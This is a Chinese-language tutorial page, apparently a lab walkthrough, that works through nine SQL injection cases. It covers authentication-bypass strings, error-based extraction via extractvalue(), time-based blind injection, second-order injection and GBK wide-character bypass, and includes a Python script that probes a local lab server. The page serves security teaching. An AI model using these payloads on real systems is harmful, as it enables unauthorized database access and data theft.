web渗透测试(高级) 第3课:SQL注入

在本节中,提供了一些常见的SQL注入示例,第一个示例是身份验证绕过,其他的是更传统的SQL注入。

 

Example 1

第一个示例是您可以找到的最常见的SQL注入示例。这里的目标是绕过身份验证页面。

 

此示例是绕过身份验证页面的最著名方法。它甚至被用在很多与SQL注入有关的漫画中。让我们看看会发生什么......初始查询看起来像:

SELECT * FROM users WHERE username ='[USERNAME]'AND password ='[PASSWORD]'

[USERNAME][PASSWORD]是你的控制之下。该应用程序将检查[USERNAME][PASSWORD]是通过确保至少一个记录是由SQL查询返回正确的。因此,SQL注入需要确保返回至少一条记录,即使[USERNAME]并且[PASSWORD]不正确。

 

有许多方法可以执行此任务。最好的办法是在注入[USERNAME],因为[PASSWORD]可散列或加密(即使它不是在这个例子中)。

 

首先,您需要记住OR操作员:

`OR` 0 1
0 0 1
1 1 1

 

我们将使用它来确保条件始终为 - true(1)。我们的目标是使用[USERNAME]注入始终true条件,但首先我们需要使用单引号'来突破SQL语法:

SELECT * FROM users WHERE username ='''AND password ='[PASSWORD]'

 

查询的语法现在无效(因为有奇数引号),但我们稍后会再回过头来看。到目前为止,我们的有效载荷只是一个单引号',我们现在需要注入我们的始终true条件。最简单的方法是使用or 1=1,因为1=1true条件将永远是true。我们的查询现在看起来像:

SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'

 

查询的语法仍然不正确。这是我们注射中要解决的最后一个问题; 我们需要摆脱查询的结束。我们可以使用注释(--#)来摆脱它:

SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'

 

这样MySQL只会看到:

SELECT * FROM users WHERE username='' or 1=1 -- 

 

我们最终的有效载荷' or 1=1 --。可以优化此有效负载'or 1#以绕过某些过滤,因为MySQL将接受此语法。

 

注意:如果` -- `后面没有空格,使用`--`进行注释通常会产生问题。这就是为什么最后添加空格总是一个好主意。

 

有效载荷准备就绪后,您可以将其放入表单并提交。如果你直接在URL注入有效载荷,你将需要一些编码字符(=#空格)。您可以查看ASCII码对照表以获取有关URL编码的更多详细信息。

 

Example 2

此示例与上面存在相同的漏洞。 在第一个示例中,代码仅检查返回的内容。 在此例子中,开发人员决定确保只存在一个用户。

要绕过此限制,您可以使用上面提到的技巧获取所有行,然后使用SQL关键字LIMIT限制此数字。

例如:'or 1 limit 1#

 

Example 3

在此示例中,了解SQL注入的风险,开发人员决定'通过删除'查询中的任何单引号来阻止单引号。但是,仍有一种方法可以打破SQL语法并注入任意SQL。

 

为此,您需要考虑查询:

SELECT * FROM users WHERE username='[username]' and password='[PASSWORD]'

 

这里的问题是,理论上你不能打破单引号',因为你不能注入任何引号。 但是,如果你注入一个反斜杠\,查询中的第二个'(应该完成字符串[username]的那个'将被转义,并将被第三个'(应该启动的那个)关闭   字符串[PASSWORD])。

然后,您可以使用参数PASSWORD来完成查询并返回始终为true的语句。 不要忘记注释掉查询的结尾以避免剩余的SQL代码。例如:[username]=/[PASSWORD]=or 1 #

 

新注入的SQL语句解析如下:

SELECT * FROM users WHERE username='\' and password='or 1 #'

 

Example 4

在此示例中,开发人员将部分查询直接放在参数中。它在传统的Web应用程序中确实很少见,但有时可以在Web服务中找到,特别是对于移动应用程序。您直接在WHERE语句中注入并可以操作请求以检索您想要的任何内容。

 

我们先看代码查询语句:

SELECT * FROM users WHERE [req]

 

默认打开Example 4解析SQL语句:

SELECT * FROM users WHERE username='hacker'

 

现在SQL注入方法就有很多了。

例如1:where条件为真,查询所有。sql注入where

例如2:放一个xml格式错误的报错payload。

username='hacker' and extractvalue(1, concat(0x5e7e5e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))#

sql注入放一个xml格式错误的报错payload

 

更改上面代码中的 limit 与 concat()的内容可以将所有信息都查出来。如下:

username='hacker' and extractvalue(1, concat(0x5e7e5e,(select concat(column_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username='hacker' and extractvalue(1, concat(0x5e7e5e,(select concat(column_name) from information_schema.tables where table_schema=database() limit 2,1)))#

 

Example 5

在此示例中,您将在关键字LIMIT之后进行注入。 在MySQL上,只有在查询中没有使用ORDER BY关键字时才能使用UNION SELECT...来利用这种类型的注入。 此外,ORDER BY关键字需要位于LIMIT关键字之前,以使查询有效。 所以你无法使用评论摆脱它。sql注入

 

有些方法可以使用INTO OUTFILEPROCEDURE ANALYZE()LIMIT中使用ORDER BY进行注入,但它们有点过于复杂而无法在此处讨论。

 

如果存在`ORDER BY`关键字,您可以尝试从HTTP请求中删除相应的参数,以查看它是否允许您删除查询中的语句。

 

在此示例中,您可以简单地使用基于联合的利用来检索任意信息。以后在“从SQL注入到Shell”会讲到。

 

Example 6

这是SQL注入的另一个示例,但这次在GROUP BY关键字之后,基于联合的利用也可用于利用此类问题。 好处是ORDER BY将位于GROUP BY之后。 因此,即使使用ORDER BY,您也可以使用SQL注释来消除它。

 

sql注入group order by

SQL注入解析语句如下:

SELECT * FROM users GROUP BY username ORDER BY id DESC

 

Example 7

在此示例中,执行两个查询。第一个查询根据参数检索用户详细信息id; 第二个使用先前检索的记录中的用户名来检索用户。

要利用此问题,您需要使用SQL盲注。但是,由于显示错误消息,我们可以使用基于错误的利用来获取信息。

基于错误的利用背后的想法是使用错误消息来收集信息。通过注入容易出错的语句,我们可以直接从错误消息中获取信息,而不是使用SQL盲注。

 

例如1:您可以使用以下语句来注入:

extractvalue('%3Cxml%3E',concat(%22/%22,(select%20version())))

通过访问:http://192.168.40.131/sqlinjection/example7/?id=extractvalue(%27%3Cxml%3E%27,concat(%22/%22,(select%20version()))) 来获取以下错误消息:

extractvalue

 

这是一种非常好的方式来证明页面易受SQL注入攻击,并且您可以从数据库中收集信息。

 

例如2:这个示例真的很有意思,它将id对应username相同的值都返回了。可以基于时间来注入。由 and if(length(database())=21,sleep(3),0) 由返回的结果时间长短来判断正确与否?基于时间来sql注入 基于时间来sql注入

 

Example 8

此示例易受“二阶SQL注入”的攻击,而不是直接将有效负载注入请求,您将首先使用第一个请求将其插入数据库,然后在第二个请求中触发有效负载。 第一个请求不容易受SQL注入攻击,只有第二个请求。 但是,您不直接控制使用的值; 你需要使用第一个请求注入它。 此问题来自开发人员信任来自数据库的值。sql二次注入

sql二次注入

 

每次尝试都需要两个步骤:

  • 使用您的有效负载创建用户。
  • 访问此用户信息以触发您的有效负载。

 

如果您想要高效,则需要使用简单的脚本自动执行此过程。 有效负载可以像基于联合的利用一样简单。

 

Example 9

此例子讲的是“宽字符注入”。这个例子最初于2006年在Chris Shiflett的Blog上发布,作为绕过mysql-real-escape-string的一种方式。它依赖于MySQL执行转义的方式。它取决于连接使用的字符集。如果数据库驱动程序不知道使用的字符集,它将不会执行正确的转义并创建可利用的情况。此漏洞依赖于GBK的使用。 GBK是简体中文的字符集。使用数据库驱动程序和数据库不“交谈”相同字符集这一事实,可以生成单引号并突破SQL语法以注入有效负载。

 

使用字符串\ xBF'(URL编码为%bf%27),可以获得不会正确转义的单引号。因此,可以使用%bf%27 or 1=1 -- 注入始终为真的条件,并绕过身份验证。sql注入 GBK

或者

宽字符注入

 

作为旁注,可以通过将连接编码设置为“GBK”而不是使用SQL查询(这是此问题的来源)来解决此问题。这里的问题来自执行以下查询:

SET CHARACTER SET 'GBK';

对于Web应用程序来说这是一个非常不可能的问题,但知道它存在总是好的,特别是如果你玩CTF。

 

写了一个脚本来判断哪些是可以进行宽字符注入时可用的字符?

def sql9():
    url = "http://192.168.40.131/sqlinjection/example9/?username=a%{}%27%20or%201=1%23&password=a&submit=Submit"
    for x in xrange(255):
        char = hex(x)[2:]
        if len(char) == 1:
            char = "0" + char
        html = requests.get(url.format(char))
        if "Success" in html.text:
            print "[+] 0x{} works".format(char)
    print "Done"
    A+
发布日期:2018年07月23日 16:03:03  所属分类:Web Pentester II
最后更新时间:2018-07-24 13:01:06
评分: (4 票;平均数3.00 ;最高评分 5 ;用户总数4;总得分 12;百分比60.00)
付杰
Python零基础入门到高级视频教程(500全集)
  • ¥ 298.0元
  • 市场价:899.0元
PowerDesigner数据库设计与建模
  • ¥ 58元
  • 市场价:58元
UML建模视频教程:UML系统设计与建模 精讲
  • ¥ 58.0元
  • 市场价:58.0元
jQuery视频教程: 从零开始学合集
  • ¥ 39.0元
  • 市场价:39.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: